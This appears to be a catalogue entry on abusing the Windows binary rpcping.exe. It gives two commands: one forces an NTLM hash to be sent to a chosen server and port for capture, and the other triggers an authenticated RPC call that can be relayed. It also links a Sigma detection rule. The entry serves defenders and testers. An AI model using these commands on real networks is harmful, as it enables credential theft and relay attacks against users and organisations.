.. /Rpcping.exe
Star

Used to verify rpc connection

Paths:

C:\Windows\System32\rpcping.exe
C:\Windows\SysWOW64\rpcping.exe

Resources:

Acknowledgements:

Casey Smith (@subtee)
Vincent Yiu (@vysecurity)
Antonio Cocomazzi (@splinter_code)
ap (@decoder_it)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml

Credentials

Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
```
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
```
Use case
Capture credentials on a non-standard port

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1003
Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
```
rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
```
Use case
Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1187